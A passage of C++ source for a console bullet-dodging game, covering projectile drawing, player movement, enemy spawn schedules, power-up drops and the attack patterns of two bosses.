            if(B[b].what<=-2&&B[b].what>=-9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;if(B[b].what<=-3&&B[b].what>=-7){if(B[b].x<=7)B[b].x=7;if(B[b].x>=28)B[b].x=28;else if(B[b].x>=B[b].a+1&&B[b].How==1)B[b].How=0;else if(B[b].x<=B[b].a-1&&B[b].How==0)B[b].How=1;if(B[b].How==1&&B[b].vx>=-1)B[b].vx-=0.2;if(B[b].How==0&&B[b].vx<=1)B[b].vx+=0.2;}if(B[b].what==-2) Color(3);if(B[b].what==-3) Color(4);if(B[b].what==-4) Color(1);if(B[b].what==-5) Color(0);if(B[b].what==-6) Color(6);if(B[b].what==-7) Color(5);if(B[b].what==-8) Color(2);if(B[b].what==-9) Color(14);if(T%7<=1&&B[b].what==-5)Color(1);else if(T%7<=1)Color(0);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].what==-2) cout<<"﹝镖﹞";if(B[b].what==-3) cout<<"﹝火﹞";if(B[b].what==-4) cout<<"﹝水﹞";if(B[b].what==-5) cout<<"﹝风﹞";if(B[b].what==-6) cout<<"﹝雷﹞";if(B[b].what==-7) cout<<"﹝磁﹞";if(B[b].what==-8) cout<<"﹝血﹞";if(B[b].what==-9) cout<<"﹝忍﹞"; if(a==1) Pan(-2,B[b].x,B[b].y,b);}}
            if(B[b].what==-11||B[b].what==-12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){if(Magne>0)B[b].How++,B[b].x=B[b].x+(X-B[b].x)/(10-B[b].How)*1.0,B[b].y=B[b].y+(Y-B[b].y)/(10-B[b].How)*1.0;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==-10) Color(5);if(B[b].what==-11) Color(7);if(T%7<=1)Color(0);cout<<"◆"; if(a==1) Pan(-1,B[b].x,B[b].y,b);}}
            if(B[b].what==-13){Nor;Setpos(B[b].x,B[b].y-0.5);if(ti(B[b].x)==20)cout<<"===";else cout<<"   ";if(B[b].life!=0){if(B[b].a==13880086){if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==5))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(5-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(5-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(5-B[b].t)*1.0;}}else{if(B[B[b].a].life==0) B[b].life=0;else if((abs(B[b].x-B[B[b].a].x)+abs(B[b].y-B[B[b].a].y)<1.5||(B[b].t==5))&&B[b].life==1) Exp+=2,B[B[b].a].life=B[b].life=0;if(B[b].life!=0){B[b].x=B[b].x+(B[B[b].a].x-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(B[B[b].a].y-B[b].y)/(5-B[b].t)*1.0;}}Setpos(B[b].x,B[b].y-0.5);if(T%6<3)Color(5);else Color(4);cout<<"●";}}
        }if(br<bl) {br=-1,bl=0;memset(B,0,sizeof(B));}Color(0);
    }
    void Move(){
        if(X<3) X=3;if(Y<1) Y=1,Vy=0;if(Y>29) Y=29,Vy=0;
        if(Ice!=0){X-=Vx/2.0;Y+=Vy/2.0;Vy=fmax(Vy-0.025,(float)0);if(T%6==0&&Up==0&&Y<Ding) Y+=0.25;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.25;if(Up==0&&Y<=Ding-1.25) Vy=0.25;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.25;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.175;else if(Up>0&&Upt==0) Vx-=0.175;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.125,(float)0);if(Upt==1&&T%2==0)Map(-1,0);if(T%2==0)Upt--;}}
        else{X-=Vx;Y+=Vy;Vy=fmax(Vy-0.05,(float)0);if(Wind==0){if(T%6==0&&Up==0&&Y<Ding) Y+=0.5;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.5;}else{if(T%2==0&&Up==0&&Y<Ding) Y+=0.5;if(T%2==1&&Up==0&&Y>=Ding) Y-=0.5;}if(Up==0&&Y<=Ding-1.25) Vy=0.5;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.5;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.35;else if(Up>0&&Upt==0) Vx-=0.35;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.25,(float)0);if(Upt==1)Map(-1,0); Upt--;}}
        for(int i=bl;i<=br;i++){
            if(B[i].what<98)if(B[i].x-B[i].vx<=5||B[i].x-B[i].vx>=30||B[i].y-B[i].vy<=0||B[i].y-B[i].vy>=30){B[i].life=0;Map(1,i);}
            for(int j=0;j<20;j++)if(B[i].what>0&&B[i].life!=0&&abs(B[i].x-I[j][0])<2&&B[i].y-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;B[i].life=0;Exp+=2;}
            if(B[i].t>=100)B[i].life=0;if(B[i].life==0&&i==bl) bl++;
            Map(1,i);if(B[i].life==0) continue;
            else{B[i].t++;
                if(B[i].what==1){if(B[i].y<=25&&B[i].How==0) B[i].vy=0,B[i].How=1;if(B[i].t==30) B[i].y+=1.5,B[i].How=2;if(B[i].t==35) B[i].vy=1.5,B[i].How=3;}
                if(B[i].what==2){if(B[i].t%3==0) B[i].How=!B[i].How;} 
                if(B[i].what==3||B[i].what==5){if(B[i].what==3&&B[i].y<=20) B[i].vy=0;if(B[i].what==5&&B[i].y<=21) B[i].vy=0;if(B[i].t>30&&B[i].t%2==0) B[i].How=!B[i].How;if(B[i].what==5&&B[i].t<=30&&B[i].x<X) B[i].vx=-0.2;else if(B[i].what==5&&B[i].t<=70&&B[i].x>X) B[i].vx=0.2;else B[i].vx=0;if(B[i].t==45){B[i].life=0;br++;B[br].what=4;B[br].x=B[i].x;B[br].y=32;B[br].vy=3;B[br].life=1;}}
                if(B[i].what==6||B[i].what==8||B[i].what==9){if(B[i].vx<0.25&&B[i].vy<0.25&&B[i].t>=50){B[i].life=0;if(B[i].life==0&&i==bl) bl++;Map(1,i);break;}if(B[i].t%5==0) B[i].How=rand()%4;if(B[i].what==9){if(B[i].t==7){X9:float xx=(rand()%41)/40.0,yy=(rand()%41)/40.0;if(xx<=0.5&&yy<=0.5) goto X9;for(int j=1;j<=4;j++){br++,B[br].what=9;B[br].t=11;B[br].x=B[i].x,B[br].y=B[i].y,B[br].vx=xx,B[br].vy=yy;if(j%2==0)swap(B[br].vx,B[br].vy),B[br].vy*=-1;if(j<=2)B[br].vx*=-1,B[br].vy*=-1;B[br].life=1;}B[i].life=0;}}if(B[i].what==8){if(B[i].x>X&&B[i].vx<1.2) B[i].vx+=fmax((float)0,0.2-B[i].t/25);if(B[i].x<X&&B[i].vx>-1.2) B[i].vx-=fmax((float)0,0.2-B[i].t/25);if(B[i].y>Y&&B[i].vy<1.2) B[i].vy+=fmax((float)0,0.2-B[i].t/25);if(B[i].y<Y&&B[i].vy>-1.2) B[i].vy-=fmax((float)0,0.2-B[i].t/25);}}
                if(B[i].what>=13&&B[i].what<=15&&B[i].How!=0){if(B[i].x==B[i].How)B[i].vx=0,B[i].How=0;}
                if(B[i].what==16){if(B[i].x<X&&B[i].vx>=-1) B[i].vx-=0.2;else if(B[i].x>X&&B[i].vx<=1) B[i].vx+=0.2;}
            }
            if(B[i].life==1&&B[i].a==0&&B[i].what>0){if(B[i].y>Y&&abs(B[i].x-X)<=3&&((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis) Dis=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb=i;else if(((B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y))<Dis1) Dis1=(B[i].x-X)*(B[i].x-X)+(B[i].y-Y)*(B[i].y-Y),Disb1=i;}
        }
    }
    void Guai(int R,int r){
        if(R==-1){br++;B[br].what=-1;B[br].x=X+rand()%3-1;B[br].y=Y+rand()%3-1;B[br].life=1;}
        if(R<=-2&&R>=-11){br++;B[br].what=R;B[br].x=B[br].a=r;B[br].y=29;if(R<=-3&&R>=-7)B[br].vx=-1;B[br].vy=1;B[br].life=1;}
        if(R==0){br++;B[br].what=1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==1){br++;B[br].what=2;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==2||R==3){br++;B[br].what=2*R-1;B[br].x=r;B[br].y=29;B[br].vy=1;B[br].life=1;}
        if(R==4){br++;B[br].what=6;if(r<5)r=5;if(r>30)r=30;B[br].x=r;if(r==11||r==25) B[br].y=29-(rand()%20);else B[br].y=29;X4:B[br].vx=(rand()%21-10)/30.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X4;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}
        if(R==5){br++;B[br].How=r;B[br].what=7;if(B[br].How<0) B[br].x=19;if(B[br].How>0) B[br].x=21;B[br].y=29;B[br].vy=1;B[br].life=1;}
    }
    void CpGuai(int R,float x,float y,float xx,float yy){
        if(R==4){br++;B[br].what=6;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
        if(R==6||R==7||R==8){br++;B[br].what=4+R;B[br].x=x;B[br].y=y;B[br].vx=xx;B[br].vy=yy;B[br].life=1;}
    }
    void MesGuai(int a,int rr){
        int R=rand()%rr,r=-10086;
        if(R==0){if(a==1) r=(5+rand()%8)*2;if(a<=3&&a!=1) r=10+rand()%16;if(a==4) r=rand()%75-20;if(a==5) r=2+rand()%4;if(r!=-10086) Guai(a,r);}
    }
    void NorGuai(int a,int b){    
        if(a==1) {if(b==1||b==41) Guai(0,15),Guai(0,17),Guai(0,19);if(b==21||b==61) Guai(0,21),Guai(0,23),Guai(0,25);if(b==81) Guai(0,11),Guai(0,13),Guai(0,15),Guai(0,17),Guai(0,19);if(b==101||b==141) Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23),Guai(0,25);if(b==121) Guai(0,15),Guai(0,17),Guai(0,19),Guai(0,21),Guai(0,23);if(b>=160&&b<=260&&b%10==0) Guai(0,b/10-1);if(b>=270&&b<=370&&b%10==0) Guai(0,52-b/10);if(b>=460&&b<=560&&b%10==0) Guai(0,b/10-37),Guai(0,b/10-36),Guai(0,b/10-35);if(b>=570&&b<=670&&b%10==0) Guai(0,78-b/10),Guai(0,77-b/10),Guai(0,76-b/10);if(b>=760&&b<=960&&b%10==0) Guai(0,b/10-66),Guai(0,b/10-65),Guai(0,103-b/10),Guai(0,104-b/10);if(b>=1000&&b<=1300) MesGuai(0,30-b/50);}
        if(a==2) {if(b<=200&&b%30==1) {int r=rand()%4;if(r==1) r=0;for(int i=0;i<4;i++) if(i!=r) Guai(1,i*4+9);}if(b>200&&b<=220&&b%5==1) Guai(1,18);if(b>220&&b<=300&&b%7==1) Guai(1,b/5-26);if(b>350&&b<=370&&b%5==1) Guai(1,22);if(b>370&&b<=450&&b%7==1) Guai(1,96-b/5);if(b==461||b==501||b==541) Guai(1,13),Guai(1,17),Guai(1,21);if(b==481||b==521||b==561) Guai(1,17),Guai(1,21),Guai(1,25);if(b>=561&&b<=861&&b%20==1) Guai(1,b/40+5);if(b>=561&&b<=861&&b%20==11) Guai(1,35-b/40);if(b>=801&&b<=961&&b%15==1) Guai(1,20);if(b>=1000&&b<=1300) MesGuai(1,30-b/50);}
        if(a==3) {if(b==1||b==61) Guai(3,15),Guai(2,17),Guai(2,19);if(b==31||b==91) Guai(2,21),Guai(2,23),Guai(3,25);if(b>=120&&b<=220&&b%10==0) Guai(2,b/10+3);if(b>=240&&b<=340&&b%10==0) Guai(2,49-b/10);if(b>=360&&b<=460&&b%20==0) Guai(2,b/10-21),Guai(2,61-b/10);if(b>=480&&b<=580&&b%20==0) Guai(3,b/10-33),Guai(3,73-b/10);if(b>=600&&b<750&&b%30==0) {for(int i=0;i<5;i++) Guai(3,i*3+10);}if(b>=750&&b<830&&b%10==0) if(b<=200&&b%40==1) Guai(2,X);if(b>=830&&b<910&&b%20==0) Guai(2,X);if(b>=910&&b<980&&b%10==0) Guai(2,X);if(b>=1000&&b<=1300) MesGuai(rand()%2+2,40-b/50);}
        if(a==4) {if(b==1) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.65);if(b==41) CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b==81) CpGuai(4,5,20,-0.4,0.35),CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,30,20,0.25,0.4),CpGuai(4,21,29,0,0.65);if(b==121) CpGuai(4,5,20,-0.2,0.35),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,30,20,0.4,0.4),CpGuai(4,18,29,0,0.65);if(b==161) CpGuai(4,10,29,-0.4,0.7),CpGuai(4,14,29,-0.2,0.7),CpGuai(4,21,29,0,0.6),CpGuai(4,10,29,-0.2,0.7),CpGuai(4,14,29,-0.1,0.7),CpGuai(4,18,29,0,0.65);if(b>=200&&b<=500&&b%40==1) {float r=0,rr;for(int i=1;i<=5;i++){X5:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X5;r=rr;CpGuai(4,i*3+7,29,0,0.5+(rand()%50)/80.0);}}if(b>540&&b<=565&&b%5==1) CpGuai(4,5,8,-2,0.2);if(b>590&&b<=615&&b%5==1) CpGuai(4,30,8,1.5,0.2);if(b>640&&b<=665&&b%5==1) CpGuai(4,5,8,-1.5,0.3);if(b>690&&b<=715&&b%5==1) CpGuai(4,30,8,2,0.3);if(b>=750&&b<=950&&b%20==1) {float r=0,rr;for(int i=1;i<=3;i++){X6:rr=0.7+(rand()%5)/10.0;if(rr==r)goto X6;r=rr;CpGuai(4,i*5+7+(rand()%3),29,0,0.5+(rand()%50)/200.0);}}if(b>=1000&&b<=1300) MesGuai(4,5);}
    }
    void RandGood(){
        if(Biao>0){Biao--;Guai(-1,0);}
        if(Gd[1]==0){Gd[1]=rand()%1000+1;if(Win==7)Gd[1]=10086;Gd[3]=rand()%16+8;}
        else if(Gd[1]<=5){Guai(-2-Gd[1],Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=20&&Gd[1]<27){Guai(-8,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=30&&Gd[1]<37){Guai(-9,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=40&&Gd[1]<70){Gd[2]++;if(Gd[2]%2==1)Guai(-10,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Gd[1]>=70&&Gd[1]<100){Gd[2]++;if(Gd[2]%2==1)Guai(-11,Gd[3]);if(Gd[2]>=9)memset(Gd,0,sizeof(Gd));}
        else if(Boss!=0&&Gd[1]>=450&&Gd[1]<=500){Guai(-2,Gd[3]);memset(Gd,0,sizeof(Gd));}
        else Gd[1]=0;
        for(int i=0;i<20;i++){if(I[i][0]==-1) continue;Setpos(I[i][0],I[i][1]);Color(0);if(I[i][0]==20) cout<<"===";else cout<<"   ";I[i][1]++;if(I[i][0]>=28||I[i][0]<=0||I[i][1]>=29) I[i][0]=I[i][1]=-1;else Color(1),Setpos(I[i][0],I[i][1]),cout<<"■";Color(0);}
    }
    void Panboss(int bx,int by){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;
        else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){if((Boss==1||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo1[4]==0) Blo-=20,Bgo1[4]=1,Killb=20,Kill=1;if((Boss==2||Boss==6)&&Wind==0&&Thun==0&&abs(Nox[i]-bx)<1&&abs(Noy[i]-by)<1&&Bgo2[8]==0) Blo-=20,Bgo2[8]=1,Killb=20,Kill=1;}
    }
    void Boss1(){
        for(int j=0;j<20;j++)if(abs(Bx1-I[j][0])<2&&By1-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        if(Bwhat1==5){int bx,by;Color(5);for(int i=0;i<10;i++){bx=Bx1-i*Bvx1/10.0;by=By1-i*Bvy1/10.0;Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);}
        Bx1-=Bvx1;By1-=Bvy1;
        if(Bwhat1==0){X2:Bwhat1=rand()%7;if(Bwhat1==2||Bwhat1==3){if(By1<=10||By1>25) goto X2;}if(Bwhat1==4){if(By1<=15||Bx1<20) goto X2;Bgo1[2]=Bx1;Bgo1[3]=By1-1;}if(Bwhat1==5) {X0:Bgo1[3]=rand()%4+1;Bvx1=(rand()%101)/20.0;Bvy1=(rand()%101)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||Out1)goto X0;}if(Bwhat1==6){if(By1<=17||By1>25) goto X2;}}
        if(Bwhat1==1){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;Bvx1=(rand()%101-20)/50.0;Bvy1=(rand()%101-20)/50.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==2){Bgo1[1]++;if(Bgo1[1]>6){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=6;X3:B[br].vx=(rand()%21-10)/40.0;B[br].vy=(rand()%25)/30.0;if(B[br].vx<=0.8&&B[br].vy<=0.8)goto X3;int rx=rand()%50;if(rx==0) B[br].vx=0;B[br].life=1;}if(Bgo1[1]>8) Chang1}
        if(Bwhat1==3){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%3==0){Bvy1=-0.3;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=8;B[br].life=1;}if(Bgo1[1]>15) Chang1}
        if(Bwhat1==4){Bgo1[1]++;if(Bgo1[1]<=8){Setpos(Bgo1[2],Bgo1[3]);if(Bgo1[1]==1)cout<<" ";else if(Bgo1[1]>1&&Bgo1[2]==20) cout<<"==";else cout<<"  ";Bgo1[2]--;Setpos(Bgo1[2],Bgo1[3]);int r=rand()%4;if(r%2==0) Color(6);else Color(9);if(r<2) cout<<") ";else cout<<"】";Color(0);}if(Bgo1[1]==6) Bgo1[5]=X,Bgo1[6]=Y;if(Bgo1[1]==11){Map(0,(bool)Kill);Setpos(Bgo1[5],Bgo1[6]+1),cout<<"  ";Setpos(Bgo1[5],Bgo1[6]-1),cout<<"  ";Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"  ";Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"  ";int bx,by,bvx=Bgo1[2]-Bgo1[5],bvy=Bgo1[3]-Bgo1[6];Color(6);int i=0;while(1){bx=Bgo1[2]-i*bvx/30.0;by=Bgo1[3]-i*bvy/30.0;if(bx<=5||bx>=30||by<0||by>=29) break;Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;i++;}Color(0);Map(-1,0);Chang1}}
        if(Bwhat1==5){Bgo1[1]++,Bgo1[2]++;int R=rand()%(5-Bgo1[1]),r=rand()%(10-Bgo1[2]);if(Out1) R=0;if(R==0) {int vx=Bvx1,vy=Bvy1;Bgo1[1]=0;X1:Bvx1=(rand()%101-20)/20.0;Bvy1=(rand()%101-20)/20.0;if(Bgo1[3]<=2) Bvx1*=-1;if(Bgo1[3]%2==1) Bvy1*=-1;if(abs(Bvx1)+abs(Bvy1)<=3||abs(Bvx1-vx)<=1||abs(Bvy1-vy)<=1)goto X1;if(Out1) r=0;} if(r==0) Chang1 }
        if(Bwhat1==6){Bgo1[1]++;if(Bgo1[1]>6&&Bgo1[1]%10==0){By1-=1;br++;B[br].x=Bx1,B[br].y=By1-1;B[br].what=9;X30:B[br].vy=1;B[br].life=1;}if(Bgo1[1]>31) Chang1}
    }
    void Boss2(){
        for(int j=0;j<20;j++)if(abs(Bx2-I[j][0])<2&&By2-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;Bblo-=8+Lv*2;Exp+=2;}
        if(Bbr==Bbl&&Bbr!=0) Bbr=Bbl=0;
        for(int i=1;i<=3+(Bbl-Bbr)/5;i++)if(Bbr<Bbl){Setpos(Bway[Bbr][0],Bway[Bbr][1]);if(Bway[Bbr][0]==20) cout<<"==";else cout<<"  ";Bbr++;}
        Bx2-=Bvx2;By2-=Bvy2;
        if(Bwhat2==0){X21:Bwhat2=rand()%7;if(Bwhat2==2){X31:for(int i=1;i<=3;i++){Bgo2[i*2+1]=rand()%28+1,Bgo2[i*2]=rand()%25+5;if((abs(Bgo2[i*2]-Bx2)<=2&&abs(Bgo2[i*2+1]-By2)<=2)||(abs(Bgo2[i*2]-X)<=2&&abs(Bgo2[i*2+1]-Y)<=2))goto X31;}if(Bgo2[2]==Bgo2[4]||Bgo2[2]==Bgo2[6]||Bgo2[6]==Bgo2[4]||Bgo2[5]==Bgo2[3]||Bgo2[3]==Bgo2[7]||Bgo2[5]==Bgo2[7]) goto X31;}if(Bwhat2==3){Bgo2[2]=rand()%2;}if(Bwhat2==4||Bwhat2==5||Bwhat2==6){Bvy2=-1.5;Bvx2=-0.5;}}
        if(Bwhat2==1){Bgo2[1]++,Bgo2[2]++;int R=rand()%(5-Bgo2[1]),r=rand()%(30-Bgo2[2]);if(Out2) R=0;if(R==0) {int vx=Bvx2,vy=Bvy2;Bgo2[1]=0;Bvx2=(rand()%101-20)/50.0;Bvy2=(rand()%101-20)/50.0;if(Bgo2[3]<=2) Bvx2*=-1;if(Bgo2[3]%2==1) Bvy2*=-1;if(Out2) r=0;} if(r==0) Chang2 }
        if(Bwhat2==2){Bgo2[1]++;float bx,by,bvx,bvy;if(Bgo2[1]<21){for(int i=1;i<=3;i++){bvx=Bgo2[i*2]-Bx2,bvy=Bgo2[i*2+1]-By2;if(Bgo2[1]<=10){Setpos(Bx2+(Bgo2[1]-1)*bvx/10.0,By2+(Bgo2[1]-1)*bvy/10.0);if(abs(Bx2+(Bgo2[1]-1)*bvx/10.0-20)<0.5)cout<<"==";else cout<<"  ";bx=Bx2+Bgo2[1]*bvx/10.0;by=By2+Bgo2[1]*bvy/10.0;Setpos(bx,by);}else Setpos(Bgo2[i*2],Bgo2[i*2+1]);int r=rand()%4;if(r%2==0) Color(3);else Color(10);if(r<=1) cout<<"×";else cout<<"+";Color(0);}}if(Bgo2[1]==21){Map(0,(bool)Kill);Color(3);int j=0;for(int j=0;j<=30;j++)for(int i=1;i<=3;i++)for(int k=1;k<=4;k++){if(k==1) bvx=j,bvy=0;if(k==2) bvx=-j,bvy=0;if(k==3) bvx=0,bvy=j;if(k==4) bvx=0,bvy=-j;bx=Bgo2[i*2]+bvx,by=Bgo2[i*2+1]+bvy;if(bx<=5||bx>=30||by<0||by>=30) {continue;}Panboss(bx,by);Setpos(bx,by),cout<<"█";Bbl++;Bway[Bbl][0]=bx;Bway[Bbl][1]=by;}Color(0);Map(-1,0);Chang2}}
        if(Bwhat2==3){Bgo2[1]++;if(Bgo2[1]<=18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4==0)Bgo2[3]=!Bgo2[3];if(Bgo2[1]%6<3)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(X-3,Y),cout<<"▼",Setpos(X+3,Y),cout<<"▲",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);if(Bgo2[3]==1) Setpos(X,Y-3),cout<<" ",Setpos(X,Y+3),cout<<" ",Bgo2[4]=(int)(X+0.5),Bgo2[5]=(int)(Y+0.5);Color(0);}if(Bgo2[1]==18){if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";}if(Bgo2[1]>18&&Bgo2[1]<=25){Bgo2[3]=Bgo2[2];if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"  ",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"  ",Color(0),Setpos(20,Bgo2[5]),cout<<"==";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3.5),cout<<"    ",Setpos(Bgo2[4],Bgo2[5]+2.5),cout<<"    ",Color(0),Setpos(20,Bgo2[5]+2.5),cout<<"====",Setpos(20,Bgo2[5]-3.5),cout<<"====";if(Bgo2[1]%4<2)Color(3);else Color(5);if(Bgo2[3]==0) Setpos(Bgo2[4]-3,Bgo2[5]),cout<<"▼",Setpos(Bgo2[4]+3,Bgo2[5]),cout<<"▲";if(Bgo2[3]==1) Setpos(Bgo2[4],Bgo2[5]-3),cout<<" ",Setpos(Bgo2[4],Bgo2[5]+3),cout<<" ";Color(0);}if(Bgo2[1]==25){if(Bgo2[2]==0){Color(3);for(int i=4;i<=29;i++){Setpos(i,Bgo2[5]),cout<<"█";Bbl++;Panboss(i,Bgo2[5]);Bway[Bbl][0]=i;Bway[Bbl][1]=Bgo2[5];}}if(Bgo2[2]==1){Color(3);for(int i=0;i<=28;i++){Setpos(Bgo2[4],i),cout<<"█";Bbl++;Panboss(Bgo2[4],i);Bway[Bbl][0]=Bgo2[4];Bway[Bbl][1]=i;}}Chang2}}
